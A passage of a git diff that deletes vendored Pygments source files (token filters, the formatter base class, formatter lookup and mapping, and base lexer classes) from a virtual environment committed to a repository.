'\U00002261', - '\\' : '\U00002322', - '\\' : '\U000022c8', - '\\' : '\U00002a1d', - '\\' : '\U0000227a', - '\\' : '\U0000227b', - '\\' : '\U0000227c', - '\\' : '\U0000227d', - '\\' : '\U00002225', - '\\' : '\U000000a6', - '\\' : '\U000000b1', - '\\' : '\U00002213', - '\\' : '\U000000d7', - '\\
' : '\U000000f7', - '\\' : '\U000022c5', - '\\' : '\U000022c6', - '\\' : '\U00002219', - '\\' : '\U00002218', - '\\' : '\U00002020', - '\\' : '\U00002021', - '\\' : '\U000022b2', - '\\' : '\U000022b3', - '\\' : '\U000022b4', - '\\' : '\U000022b5', - '\\' : '\U000025c3', - '\\' : '\U000025b9', - '\\' : '\U000025b3', - '\\' : '\U0000225c', - '\\' : '\U00002295', - '\\' : '\U00002a01', - '\\' : '\U00002297', - '\\' : '\U00002a02', - '\\' : '\U00002299', - '\\' : '\U00002a00', - '\\' : '\U00002296', - '\\' : '\U00002298', - '\\' : '\U00002026', - '\\' : '\U000022ef', - '\\' : '\U00002211', - '\\' : '\U0000220f', - '\\' : '\U00002210', - '\\' : '\U0000221e', - '\\' : '\U0000222b', - '\\' : '\U0000222e', - '\\' : '\U00002663', - '\\' : '\U00002662', - '\\' : '\U00002661', - '\\' : '\U00002660', - '\\' : '\U00002135', - '\\' : '\U00002205', - '\\' : '\U00002207', - '\\' : '\U00002202', - '\\' : '\U0000266d', - '\\' : '\U0000266e', - '\\' : '\U0000266f', - '\\' : '\U00002220', - '\\' : '\U000000a9', - '\\' : '\U000000ae', - '\\' : '\U000000ad', - '\\' : '\U000000af', - '\\' : '\U000000bc', - '\\' : '\U000000bd', - '\\' : '\U000000be', - '\\' : '\U000000aa', - '\\' : '\U000000ba', - '\\
' : '\U000000a7', - '\\' : '\U000000b6', - '\\' : '\U000000a1', - '\\' : '\U000000bf', - '\\' : '\U000020ac', - '\\' : '\U000000a3', - '\\' : '\U000000a5', - '\\' : '\U000000a2', - '\\' : '\U000000a4', - '\\' : '\U000000b0', - '\\' : '\U00002a3f', - '\\' : '\U00002127', - '\\' : '\U000025ca', - '\\' : '\U00002118', - '\\' : '\U00002240', - '\\' : '\U000022c4', - '\\' : '\U000000b4', - '\\' : '\U00000131', - '\\' : '\U000000a8', - '\\' : '\U000000b8', - '\\' : '\U000002dd', - '\\' : '\U000003f5', - '\\' : '\U000023ce', - '\\' : '\U00002039', - '\\' : '\U0000203a', - '\\' : '\U00002302', - '\\<^sub>' : '\U000021e9', - '\\<^sup>' : '\U000021e7', - '\\<^bold>' : '\U00002759', - '\\<^bsub>' : '\U000021d8', - '\\<^esub>' : '\U000021d9', - '\\<^bsup>' : '\U000021d7', - '\\<^esup>' : '\U000021d6', - } - - lang_map = {'isabelle' : isabelle_symbols, 'latex' : latex_symbols} - - def __init__(self, **options): - Filter.__init__(self, **options) - lang = get_choice_opt(options, 'lang', - ['isabelle', 'latex'], 'isabelle') - self.symbols = self.lang_map[lang] - - def filter(self, lexer, stream): - for ttype, value in stream: - if value in self.symbols: - yield ttype, self.symbols[value] - else: - yield ttype, value - - -class KeywordCaseFilter(Filter): - """Convert keywords to lowercase or uppercase or capitalize them. - - This means first letter uppercase, rest lowercase. - - This can be useful e.g. if you highlight Pascal code and want to adapt the - code to your styleguide. - - Options accepted: - - `case` : string - The casing to convert keywords to. Must be one of ``'lower'``, - ``'upper'`` or ``'capitalize'``. The default is ``'lower'``. - """ - - def __init__(self, **options): - Filter.__init__(self, **options) - case = get_choice_opt(options, 'case', - ['lower', 'upper', 'capitalize'], 'lower') - self.convert = getattr(str, case) - - def filter(self, lexer, stream): - for ttype, value in stream: - if ttype in Keyword: - yield ttype, self.convert(value) - else: - yield ttype, value - - -class NameHighlightFilter(Filter): - """Highlight a normal Name (and Name.*) token with a different token type. - - Example:: - - filter = NameHighlightFilter( - names=['foo', 'bar', 'baz'], - tokentype=Name.Function, - ) - - This would highlight the names "foo", "bar" and "baz" - as functions. `Name.Function` is the default token type. - - Options accepted: - - `names` : list of strings - A list of names that should be given the different token type. - There is no default. - `tokentype` : TokenType or string - A token type or a string containing a token type name that is - used for highlighting the strings in `names`. The default is - `Name.Function`. - """ - - def __init__(self, **options): - Filter.__init__(self, **options) - self.names = set(get_list_opt(options, 'names', [])) - tokentype = options.get('tokentype') - if tokentype: - self.tokentype = string_to_tokentype(tokentype) - else: - self.tokentype = Name.Function - - def filter(self, lexer, stream): - for ttype, value in stream: - if ttype in Name and value in self.names: - yield self.tokentype, value - else: - yield ttype, value - - -class ErrorToken(Exception): - pass - - -class RaiseOnErrorTokenFilter(Filter): - """Raise an exception when the lexer generates an error token. - - Options accepted: - - `excclass` : Exception class - The exception class to raise. - The default is `pygments.filters.ErrorToken`. - - .. versionadded:: 0.8 - """ - - def __init__(self, **options): - Filter.__init__(self, **options) - self.exception = options.get('excclass', ErrorToken) - try: - # issubclass() will raise TypeError if first argument is not a class - if not issubclass(self.exception, Exception): - raise TypeError - except TypeError: - raise OptionError('excclass option is not an exception class') - - def filter(self, lexer, stream): - for ttype, value in stream: - if ttype is Error: - raise self.exception(value) - yield ttype, value - - -class VisibleWhitespaceFilter(Filter): - """Convert tabs, newlines and/or spaces to visible characters. - - Options accepted: - - `spaces` : string or bool - If this is a one-character string, spaces will be replaces by this string. - If it is another true value, spaces will be replaced by ``·`` (unicode - MIDDLE DOT). If it is a false value, spaces will not be replaced. The - default is ``False``. - `tabs` : string or bool - The same as for `spaces`, but the default replacement character is ``»`` - (unicode RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK). The default value - is ``False``. Note: this will not work if the `tabsize` option for the - lexer is nonzero, as tabs will already have been expanded then. - `tabsize` : int - If tabs are to be replaced by this filter (see the `tabs` option), this - is the total number of characters that a tab should be expanded to. - The default is ``8``. - `newlines` : string or bool - The same as for `spaces`, but the default replacement character is ``¶`` - (unicode PILCROW SIGN). The default value is ``False``. - `wstokentype` : bool - If true, give whitespace the special `Whitespace` token type. This allows - styling the visible whitespace differently (e.g. greyed out), but it can - disrupt background colors. The default is ``True``. - - .. versionadded:: 0.8 - """ - - def __init__(self, **options): - Filter.__init__(self, **options) - for name, default in [('spaces', '·'), - ('tabs', '»'), - ('newlines', '¶')]: - opt = options.get(name, False) - if isinstance(opt, str) and len(opt) == 1: - setattr(self, name, opt) - else: - setattr(self, name, (opt and default or '')) - tabsize = get_int_opt(options, 'tabsize', 8) - if self.tabs: - self.tabs += ' ' * (tabsize - 1) - if self.newlines: - self.newlines += '\n' - self.wstt = get_bool_opt(options, 'wstokentype', True) - - def filter(self, lexer, stream): - if self.wstt: - spaces = self.spaces or ' ' - tabs = self.tabs or '\t' - newlines = self.newlines or '\n' - regex = re.compile(r'\s') - - def replacefunc(wschar): - if wschar == ' ': - return spaces - elif wschar == '\t': - return tabs - elif wschar == '\n': - return newlines - return wschar - - for ttype, value in stream: - yield from _replace_special(ttype, value, regex, Whitespace, - replacefunc) - else: - spaces, tabs, newlines = self.spaces, self.tabs, self.newlines - # simpler processing - for ttype, value in stream: - if spaces: - value = value.replace(' ', spaces) - if tabs: - value = value.replace('\t', tabs) - if newlines: - value = value.replace('\n', newlines) - yield ttype, value - - -class GobbleFilter(Filter): - """Gobble source code lines (eats initial characters). - - This filter drops the first ``n`` characters off every line of code. This - may be useful when the source code fed to the lexer is indented by a fixed - amount of space that isn't desired in the output. - - Options accepted: - - `n` : int - The number of characters to gobble. - - .. versionadded:: 1.2 - """ - def __init__(self, **options): - Filter.__init__(self, **options) - self.n = get_int_opt(options, 'n', 0) - - def gobble(self, value, left): - if left < len(value): - return value[left:], 0 - else: - return '', left - len(value) - - def filter(self, lexer, stream): - n = self.n - left = n # How many characters left to gobble. - for ttype, value in stream: - # Remove ``left`` tokens from first line, ``n`` from all others. - parts = value.split('\n') - (parts[0], left) = self.gobble(parts[0], left) - for i in range(1, len(parts)): - (parts[i], left) = self.gobble(parts[i], n) - value = '\n'.join(parts) - - if value != '': - yield ttype, value - - -class TokenMergeFilter(Filter): - """Merge consecutive tokens with the same token type in the output stream. - - .. versionadded:: 1.2 - """ - def __init__(self, **options): - Filter.__init__(self, **options) - - def filter(self, lexer, stream): - current_type = None - current_value = None - for ttype, value in stream: - if ttype is current_type: - current_value += value - else: - if current_type is not None: - yield current_type, current_value - current_type = ttype - current_value = value - if current_type is not None: - yield current_type, current_value - - -FILTERS = { - 'codetagify': CodeTagFilter, - 'keywordcase': KeywordCaseFilter, - 'highlight': NameHighlightFilter, - 'raiseonerror': RaiseOnErrorTokenFilter, - 'whitespace': VisibleWhitespaceFilter, - 'gobble': GobbleFilter, - 'tokenmerge': TokenMergeFilter, - 'symbols': SymbolFilter, -} diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/formatter.py b/venv/Lib/site-packages/pip/_vendor/pygments/formatter.py deleted file mode 100644 index d869b6c14a25c88df7c66d6399a2628ab351467d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pygments/formatter.py +++ /dev/null @@ -1,129 +0,0 @@ -""" - pygments.formatter - ~~~~~~~~~~~~~~~~~~ - - Base formatter class. - - :copyright: Copyright 2006-present by the Pygments team, see AUTHORS. - :license: BSD, see LICENSE for details. -""" - -import codecs - -from pip._vendor.pygments.util import get_bool_opt -from pip._vendor.pygments.styles import get_style_by_name - -__all__ = ['Formatter'] - - -def _lookup_style(style): - if isinstance(style, str): - return get_style_by_name(style) - return style - - -class Formatter: - """ - Converts a token stream to text. - - Formatters should have attributes to help selecting them. These - are similar to the corresponding :class:`~pygments.lexer.Lexer` - attributes. - - .. autoattribute:: name - :no-value: - - .. autoattribute:: aliases - :no-value: - - .. autoattribute:: filenames - :no-value: - - You can pass options as keyword arguments to the constructor. - All formatters accept these basic options: - - ``style`` - The style to use, can be a string or a Style subclass - (default: "default"). Not used by e.g. the - TerminalFormatter. - ``full`` - Tells the formatter to output a "full" document, i.e. - a complete self-contained document. This doesn't have - any effect for some formatters (default: false). - ``title`` - If ``full`` is true, the title that should be used to - caption the document (default: ''). - ``encoding`` - If given, must be an encoding name. This will be used to - convert the Unicode token strings to byte strings in the - output. If it is "" or None, Unicode strings will be written - to the output file, which most file-like objects do not - support (default: None). - ``outencoding`` - Overrides ``encoding`` if given. - - """ - - #: Full name for the formatter, in human-readable form. - name = None - - #: A list of short, unique identifiers that can be used to lookup - #: the formatter from a list, e.g. using :func:`.get_formatter_by_name()`. - aliases = [] - - #: A list of fnmatch patterns that match filenames for which this - #: formatter can produce output. The patterns in this list should be unique - #: among all formatters. - filenames = [] - - #: If True, this formatter outputs Unicode strings when no encoding - #: option is given. - unicodeoutput = True - - def __init__(self, **options): - """ - As with lexers, this constructor takes arbitrary optional arguments, - and if you override it, you should first process your own options, then - call the base class implementation. - """ - self.style = _lookup_style(options.get('style', 'default')) - self.full = get_bool_opt(options, 'full', False) - self.title = options.get('title', '') - self.encoding = options.get('encoding', None) or None - if self.encoding in ('guess', 'chardet'): - # can happen for e.g. pygmentize -O encoding=guess - self.encoding = 'utf-8' - self.encoding = options.get('outencoding') or self.encoding - self.options = options - - def get_style_defs(self, arg=''): - """ - This method must return statements or declarations suitable to define - the current style for subsequent highlighted text (e.g. CSS classes - in the `HTMLFormatter`). - - The optional argument `arg` can be used to modify the generation and - is formatter dependent (it is standardized because it can be given on - the command line). - - This method is called by the ``-S`` :doc:`command-line option `, - the `arg` is then given by the ``-a`` option. - """ - return '' - - def format(self, tokensource, outfile): - """ - This method must format the tokens from the `tokensource` iterable and - write the formatted version to the file object `outfile`. - - Formatter options can control how exactly the tokens are converted. - """ - if self.encoding: - # wrap the outfile in a StreamWriter - outfile = codecs.lookup(self.encoding)[3](outfile) - return self.format_unencoded(tokensource, outfile) - - # Allow writing Formatter[str] or Formatter[bytes]. That's equivalent to - # Formatter. This helps when using third-party type stubs from typeshed. - def __class_getitem__(cls, name): - return cls diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/formatters/__init__.py b/venv/Lib/site-packages/pip/_vendor/pygments/formatters/__init__.py deleted file mode 100644 index c7c153bf4a72988ca4042977e0e65c472b89c453..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pygments/formatters/__init__.py +++ /dev/null @@ -1,157 +0,0 @@ -""" - pygments.formatters - ~~~~~~~~~~~~~~~~~~~ - - Pygments formatters. - - :copyright: Copyright 2006-present by the Pygments team, see AUTHORS. - :license: BSD, see LICENSE for details. -""" - -import re -import sys -import types -import fnmatch -from os.path import basename - -from pip._vendor.pygments.formatters._mapping import FORMATTERS -from pip._vendor.pygments.plugin import find_plugin_formatters -from pip._vendor.pygments.util import ClassNotFound - -__all__ = ['get_formatter_by_name', 'get_formatter_for_filename', - 'get_all_formatters', 'load_formatter_from_file'] + list(FORMATTERS) - -_formatter_cache = {} # classes by name -_pattern_cache = {} - - -def _fn_matches(fn, glob): - """Return whether the supplied file name fn matches pattern filename.""" - if glob not in _pattern_cache: - pattern = _pattern_cache[glob] = re.compile(fnmatch.translate(glob)) - return pattern.match(fn) - return _pattern_cache[glob].match(fn) - - -def _load_formatters(module_name): - """Load a formatter (and all others in the module too).""" - mod = __import__(module_name, None, None, ['__all__']) - for formatter_name in mod.__all__: - cls = getattr(mod, formatter_name) - _formatter_cache[cls.name] = cls - - -def get_all_formatters(): - """Return a generator for all formatter classes.""" - # NB: this returns formatter classes, not info like get_all_lexers(). - for info in FORMATTERS.values(): - if info[1] not in _formatter_cache: - _load_formatters(info[0]) - yield _formatter_cache[info[1]] - for _, formatter in find_plugin_formatters(): - yield formatter - - -def find_formatter_class(alias): - """Lookup a formatter by alias. - - Returns None if not found. - """ - for module_name, name, aliases, _, _ in FORMATTERS.values(): - if alias in aliases: - if name not in _formatter_cache: - _load_formatters(module_name) - return _formatter_cache[name] - for _, cls in find_plugin_formatters(): - if alias in cls.aliases: - return cls - - -def get_formatter_by_name(_alias, **options): - """ - Return an instance of a :class:`.Formatter` subclass that has `alias` in its - aliases list. The formatter is given the `options` at its instantiation. - - Will raise :exc:`pygments.util.ClassNotFound` if no formatter with that - alias is found. - """ - cls = find_formatter_class(_alias) - if cls is None: - raise ClassNotFound(f"no formatter found for name {_alias!r}") - return cls(**options) - - -def load_formatter_from_file(filename, formattername="CustomFormatter", **options): - """ - Return a `Formatter` subclass instance loaded from the provided file, relative - to the current directory. - - The file is expected to contain a Formatter class named ``formattername`` - (by default, CustomFormatter). Users should be very careful with the input, because - this method is equivalent to running ``eval()`` on the input file. The formatter is - given the `options` at its instantiation. - - :exc:`pygments.util.ClassNotFound` is raised if there are any errors loading - the formatter. - - .. versionadded:: 2.2 - """ - try: - # This empty dict will contain the namespace for the exec'd file - custom_namespace = {} - with open(filename, 'rb') as f: - exec(f.read(), custom_namespace) - # Retrieve the class `formattername` from that namespace - if formattername not in custom_namespace: - raise ClassNotFound(f'no valid {formattername} class found in {filename}') - formatter_class = custom_namespace[formattername] - # And finally instantiate it with the options - return formatter_class(**options) - except OSError as err: - raise ClassNotFound(f'cannot read {filename}: {err}') - except ClassNotFound: - raise - except Exception as err: - raise ClassNotFound(f'error when loading custom formatter: {err}') - - -def get_formatter_for_filename(fn, **options): - """ - Return a :class:`.Formatter` subclass instance that has a filename pattern - matching `fn`. The formatter is given the `options` at its instantiation. - - Will raise :exc:`pygments.util.ClassNotFound` if no formatter for that filename - is found. - """ - fn = basename(fn) - for modname, name, _, filenames, _ in FORMATTERS.values(): - for filename in filenames: - if _fn_matches(fn, filename): - if name not in _formatter_cache: - _load_formatters(modname) - return _formatter_cache[name](**options) - for _name, cls in find_plugin_formatters(): - for filename in cls.filenames: - if _fn_matches(fn, filename): - return cls(**options) - raise ClassNotFound(f"no formatter found for file name {fn!r}") - - -class _automodule(types.ModuleType): - """Automatically import formatters.""" - - def __getattr__(self, name): - info = FORMATTERS.get(name) - if info: - _load_formatters(info[0]) - cls = _formatter_cache[info[1]] - setattr(self, name, cls) - return cls - raise AttributeError(name) - - -oldmod = sys.modules[__name__] -newmod = _automodule(__name__) -newmod.__dict__.update(oldmod.__dict__) -sys.modules[__name__] = newmod -del newmod.newmod, newmod.oldmod, newmod.sys, newmod.types diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/formatters/_mapping.py b/venv/Lib/site-packages/pip/_vendor/pygments/formatters/_mapping.py deleted file mode 100644 index 72ca84040b626183e3328679db600c13472021be..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pygments/formatters/_mapping.py +++ /dev/null @@ -1,23 +0,0 @@ -# Automatically generated by scripts/gen_mapfiles.py. -# DO NOT EDIT BY HAND; run `tox -e mapfiles` instead. - -FORMATTERS = { - 'BBCodeFormatter': ('pygments.formatters.bbcode', 'BBCode', ('bbcode', 'bb'), (), 'Format tokens with BBcodes. These formatting codes are used by many bulletin boards, so you can highlight your sourcecode with pygments before posting it there.'), - 'BmpImageFormatter': ('pygments.formatters.img', 'img_bmp', ('bmp', 'bitmap'), ('*.bmp',), 'Create a bitmap image from source code. This uses the Python Imaging Library to generate a pixmap from the source code.'), - 'GifImageFormatter': ('pygments.formatters.img', 'img_gif', ('gif',), ('*.gif',), 'Create a GIF image from source code. This uses the Python Imaging Library to generate a pixmap from the source code.'), - 'GroffFormatter': ('pygments.formatters.groff', 'groff', ('groff', 'troff', 'roff'), (), 'Format tokens with groff escapes to change their color and font style.'), - 'HtmlFormatter': ('pygments.formatters.html', 'HTML', ('html',), ('*.html', '*.htm'), "Format tokens as HTML 4 ```` tags. By default, the content is enclosed in a ``
`` tag, itself wrapped in a ``
`` tag (but see the `nowrap` option). The ``
``'s CSS class can be set by the `cssclass` option."), - 'IRCFormatter': ('pygments.formatters.irc', 'IRC', ('irc', 'IRC'), (), 'Format tokens with IRC color sequences'), - 'ImageFormatter': ('pygments.formatters.img', 'img', ('img', 'IMG', 'png'), ('*.png',), 'Create a PNG image from source code. This uses the Python Imaging Library to generate a pixmap from the source code.'), - 'JpgImageFormatter': ('pygments.formatters.img', 'img_jpg', ('jpg', 'jpeg'), ('*.jpg',), 'Create a JPEG image from source code. This uses the Python Imaging Library to generate a pixmap from the source code.'), - 'LatexFormatter': ('pygments.formatters.latex', 'LaTeX', ('latex', 'tex'), ('*.tex',), 'Format tokens as LaTeX code. This needs the `fancyvrb` and `color` standard packages.'), - 'NullFormatter': ('pygments.formatters.other', 'Text only', ('text', 'null'), ('*.txt',), 'Output the text unchanged without any formatting.'), - 'PangoMarkupFormatter': ('pygments.formatters.pangomarkup', 'Pango Markup', ('pango', 'pangomarkup'), (), 'Format tokens as Pango Markup code. It can then be rendered to an SVG.'), - 'RawTokenFormatter': ('pygments.formatters.other', 'Raw tokens', ('raw', 'tokens'), ('*.raw',), 'Format tokens as a raw representation for storing token streams.'), - 'RtfFormatter': ('pygments.formatters.rtf', 'RTF', ('rtf',), ('*.rtf',), 'Format tokens as RTF markup. This formatter automatically outputs full RTF documents with color information and other useful stuff. Perfect for Copy and Paste into Microsoft(R) Word(R) documents.'), - 'SvgFormatter': ('pygments.formatters.svg', 'SVG', ('svg',), ('*.svg',), 'Format tokens as an SVG graphics file. This formatter is still experimental. Each line of code is a ```` element with explicit ``x`` and ``y`` coordinates containing ```` elements with the individual token styles.'), - 'Terminal256Formatter': ('pygments.formatters.terminal256', 'Terminal256', ('terminal256', 'console256', '256'), (), 'Format tokens with ANSI color sequences, for output in a 256-color terminal or console. Like in `TerminalFormatter` color sequences are terminated at newlines, so that paging the output works correctly.'), - 'TerminalFormatter': ('pygments.formatters.terminal', 'Terminal', ('terminal', 'console'), (), 'Format tokens with ANSI color sequences, for output in a text console. Color sequences are terminated at newlines, so that paging the output works correctly.'), - 'TerminalTrueColorFormatter': ('pygments.formatters.terminal256', 'TerminalTrueColor', ('terminal16m', 'console16m', '16m'), (), 'Format tokens with ANSI color sequences, for output in a true-color terminal or console. Like in `TerminalFormatter` color sequences are terminated at newlines, so that paging the output works correctly.'), - 'TestcaseFormatter': ('pygments.formatters.other', 'Testcase', ('testcase',), (), 'Format tokens as appropriate for a new testcase.'), -} diff --git a/venv/Lib/site-packages/pip/_vendor/pygments/lexer.py b/venv/Lib/site-packages/pip/_vendor/pygments/lexer.py deleted file mode 100644 index a776bfa5619e050cb5915c45c9de81f54fe898a2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/pygments/lexer.py +++ /dev/null @@ -1,965 +0,0 @@ -""" - pygments.lexer - ~~~~~~~~~~~~~~ - - Base lexer classes. - - :copyright: Copyright 2006-present by the Pygments team, see AUTHORS. - :license: BSD, see LICENSE for details. -""" - -import re -import sys -import time - -from pip._vendor.pygments.filter import apply_filters, Filter -from pip._vendor.pygments.filters import get_filter_by_name -from pip._vendor.pygments.token import Error, Text, Other, Whitespace, _TokenType -from pip._vendor.pygments.util import get_bool_opt, get_int_opt, get_list_opt, \ - make_analysator, Future, guess_decode -from pip._vendor.pygments.regexopt import regex_opt - -__all__ = ['Lexer', 'RegexLexer', 'ExtendedRegexLexer', 'DelegatingLexer', - 'LexerContext', 'include', 'inherit', 'bygroups', 'using', 'this', - 'default', 'words', 'line_re'] - -line_re = re.compile('.*?\n') - -_encoding_map = [(b'\xef\xbb\xbf', 'utf-8'), - (b'\xff\xfe\0\0', 'utf-32'), - (b'\0\0\xfe\xff', 'utf-32be'), - (b'\xff\xfe', 'utf-16'), - (b'\xfe\xff', 'utf-16be')] - -_default_analyse = staticmethod(lambda x: 0.0) - - -class LexerMeta(type): - """ - This metaclass automagically converts ``analyse_text`` methods into - static methods which always return float values. - """ - - def __new__(mcs, name, bases, d): - if 'analyse_text' in d: - d['analyse_text'] = make_analysator(d['analyse_text']) - return type.__new__(mcs, name, bases, d) - - -class Lexer(metaclass=LexerMeta): - """ - Lexer for a specific language. - - See also :doc:`lexerdevelopment`, a high-level guide to writing - lexers. - - Lexer classes have attributes used for choosing the most appropriate - lexer based on various criteria. - - .. autoattribute:: name - :no-value: - .. autoattribute:: aliases - :no-value: - .. autoattribute:: filenames - :no-value: - .. autoattribute:: alias_filenames - .. autoattribute:: mimetypes - :no-value: - .. autoattribute:: priority - - Lexers included in Pygments should have two additional attributes: - - .. autoattribute:: url - :no-value: - .. autoattribute:: version_added - :no-value: - - Lexers included in Pygments may have additional attributes: - - .. autoattribute:: _example - :no-value: - - You can pass options to the constructor. The basic options recognized - by all lexers and processed by the base `Lexer` class are: - - ``stripnl`` - Strip leading and trailing newlines from the input (default: True). - ``stripall`` - Strip all leading and trailing whitespace from the input - (default: False). - ``ensurenl`` - Make sure that the input ends with a newline (default: True). This - is required for some lexers that consume input linewise. - - .. versionadded:: 1.3 - - ``tabsize`` - If given and greater than 0, expand tabs in the input (default: 0). - ``encoding`` - If given, must be an encoding name. This encoding will be used to - convert the input string to Unicode, if it is not already a Unicode - string (default: ``'guess'``, which uses a simple UTF-8 / Locale / - Latin1 detection. Can also be ``'chardet'`` to use the chardet - library, if it is installed. - ``inencoding`` - Overrides the ``encoding`` if given. - """ - - #: Full name of the lexer, in human-readable form - name = None - - #: A list of short, unique identifiers that can be used to look - #: up the lexer from a list, e.g., using `get_lexer_by_name()`. - aliases = [] - - #: A list of `fnmatch` patterns that match filenames which contain - #: content for this lexer. The patterns in this list should be unique among - #: all lexers. - filenames = [] - - #: A list of `fnmatch` patterns that match filenames which may or may not - #: contain content for this lexer. This list is used by the - #: :func:`.guess_lexer_for_filename()` function, to determine which lexers - #: are then included in guessing the correct one. That means that - #: e.g. every lexer for HTML and a template language should include - #: ``\*.html`` in this list. - alias_filenames = [] - - #: A list of MIME types for content that can be lexed with this lexer. - mimetypes = [] - - #: Priority, should multiple lexers match and no content is provided - priority = 0 - - #: URL of the language specification/definition. Used in the Pygments - #: documentation. Set to an empty string to disable. - url = None - - #: Version of Pygments in which the lexer was added. - version_added = None - - #: Example file name. Relative to the ``tests/examplefiles`` directory. - #: This is used by the documentation generator to show an example. - _example = None - - def __init__(self, **options): - """ - This constructor takes arbitrary options as keyword arguments. - Every subclass must first process its own options and then call - the `Lexer` constructor, since it processes the basic - options like `stripnl`. - - An example looks like this: - - .. sourcecode:: python - - def __init__(self, **options): - self.compress = options.get('compress', '') - Lexer.__init__(self, **options) - - As these options must all be specifiable as strings (due to the - command line usage), there are various utility functions - available to help with that, see `Utilities`_. - """ - self.options = options - self.stripnl = get_bool_opt(options, 'stripnl', True) - self.stripall = get_bool_opt(options, 'stripall', False) - self.ensurenl = get_bool_opt(options, 'ensurenl', True) - self.tabsize = get_int_opt(options, 'tabsize', 0) - self.encoding = options.get('encoding', 'guess') - self.encoding = options.get('inencoding') or self.encoding - self.filters = [] - for filter_ in get_list_opt(options, 'filters', ()): - self.add_filter(filter_) - - def __repr__(self): - if self.options: - return f'' - else: - return f'' - - def add_filter(self, filter_, **options): - """ - Add a new stream filter to this lexer. - """ - if not isinstance(filter_, Filter): - filter_ = get_filter_by_name(filter_, **options) - self.filters.append(filter_) - - def analyse_text(text): - """ - A static method which is called for lexer guessing. - - It should analyse the text and return a float in the range - from ``0.0`` to ``1.0``. If it returns ``0.0``, the lexer - will not be selected as the most probable one, if it returns - ``1.0``, it will be selected immediately. This is used by - `guess_lexer`. - - The `LexerMeta` metaclass automatically wraps this function so - that it works like a static method (no ``self`` or ``cls`` - parameter) and the return value is automatically converted to - `float`. If the return value is an object that is boolean `False` - it's the same as if the return values was ``0.0``. - """ - - def _preprocess_lexer_input(self, text): - """Apply preprocessing such as decoding the input, removing BOM and normalizing newlines.""" - - if not isinstance(text, str): - if self.encoding == 'guess': - text, _ = guess_decode(text) - elif self.encoding == 'chardet': - try: - # pip vendoring note: this code is not reachable by pip, - # removed import of chardet to make it clear. - raise ImportError('chardet is not vendored by pip') - except ImportError as e: - raise ImportError('To enable chardet encoding guessing, ' - 'please install the chardet library ' - 'from http://chardet.feedparser.org/') from e - # check for BOM first - decoded = None - for bom, encoding in _encoding_map: - if text.startswith(bom): - decoded = text[len(bom):].decode(encoding, 'replace') - break - # no BOM found, so use chardet - if decoded is None: - enc = chardet.detect(text[:1024]) # Guess using first 1KB - decoded = text.decode(enc.get('encoding') or 'utf-8', - 'replace') - text = decoded - else: - text = text.decode(self.encoding) - if text.startswith('\ufeff'): - text = text[len('\ufeff'):] - else: - if text.startswith('\ufeff'): - text = text[len('\ufeff'):] - - # text now *is* a unicode string - text = text.replace('\r\n', '\n') - text = text.replace('\r', '\n') - if self.stripall: - text = text.strip() - elif self.stripnl: - text = text.strip('\n') - if self.tabsize > 0: - text = text.expandtabs(self.tabsize) - if self.ensurenl and not text.endswith('\n'): - text += '\n' - - return text - - def get_tokens(self, text, unfiltered=False): - """ - This method is the basic interface of a lexer. It is called by - the `highlight()` function. It must process the text and return an - iterable of ``(tokentype, value)`` pairs from `text`. - - Normally, you don't need to override this method. The default - implementation processes the options recognized by all lexers - (`stripnl`, `stripall` and so on), and then yields all tokens - from `get_tokens_unprocessed()`, with the ``index`` dropped. - - If `unfiltered` is set to `True`, the filtering mechanism is - bypassed even if filters are defined. - """ - text = self._preprocess_lexer_input(text) - - def streamer(): - for _, t, v in self.get_tokens_unprocessed(text): - yield t, v - stream = streamer() - if not unfiltered: - stream = apply_filters(stream, self.filters, self) - return stream - - def get_tokens_unprocessed(self, text): - """ - This method should process the text and return an iterable of - ``(index, tokentype, value)`` tuples where ``index`` is the starting - position of the token within the input text. - - It must be overridden by subclasses. It is recommended to - implement it as a generator to maximize effectiveness. - """ - raise NotImplementedError - - -class DelegatingLexer(Lexer): - """ - This lexer takes two lexer as arguments. A root lexer and - a language lexer. First everything is scanned using the language - lexer, afterwards all ``Other`` tokens are lexed using the root - lexer. - - The lexers from the ``template`` lexer package use this base lexer. - """ - - def __init__(self, _root_lexer, _language_lexer, _needle=Other, **options): - self.root_lexer = _root_lexer(**options) - self.language_lexer = _language_lexer(**options) - self.needle = _needle - Lexer.__init__(self, **options) - - def get_tokens_unprocessed(self, text): - buffered = '' - insertions = [] - lng_buffer = [] - for i, t, v in self.language_lexer.get_tokens_unprocessed(text): - if t is self.needle: - if lng_buffer: - insertions.append((len(buffered), lng_buffer)) - lng_buffer = [] - buffered += v - else: - lng_buffer.append((i, t, v)) - if lng_buffer: - insertions.append((len(buffered), lng_buffer)) - return do_insertions(insertions, - self.root_lexer.get_tokens_unprocessed(buffered)) - - -# ------------------------------------------------------------------------------ -# RegexLexer and ExtendedRegexLexer -# - - -class include(str): # pylint: disable=invalid-name - """ - Indicates that a state should include rules from another state. - """ - pass - - -class _inherit: - """ - Indicates the a state should inherit from its superclass. - """ - def __repr__(self): - return 'inherit' - -inherit = _inherit() # pylint: disable=invalid-name - - -class combined(tuple): # pylint: disable=invalid-name - """ - Indicates a state combined from multiple states. - """ - - def __new__(cls, *args): - return tuple.__new__(cls, args) - - def __init__(self, *args): - # tuple.__init__ doesn't do anything - pass - - -class _PseudoMatch: - """ - A pseudo match object constructed from a string. - """ - - def __init__(self, start, text): - self._text = text - self._start = start - - def start(self, arg=None): - return self._start - - def end(self, arg=None): - return self._start + len(self._text) - - def group(self, arg=None): - if arg: - raise IndexError('No such group') - return self._text - - def groups(self): - return (self._text,) - - def groupdict(self): - return {} - - -def bygroups(*args): - """ - Callback that yields multiple actions for each group in the match. - """ - def callback(lexer, match, ctx=None): - for i, action in enumerate(args): - if action is None: - continue - elif type(action) is _TokenType: - data = match.group(i + 1) - if data: - yield match.start(i + 1), action, data - else: - data = match.group(i + 1) - if data is not None: - if ctx: - ctx.pos = match.start(i + 1) - for item in action(lexer, - _PseudoMatch(match.start(i + 1), data), ctx): - if item: - yield item - if ctx: - ctx.pos = match.end() - return callback - - -class _This: - """ - Special singleton used for indicating the caller class. - Used by ``using``. - """ - -this = _This() - - -def using(_other, **kwargs): - """ - 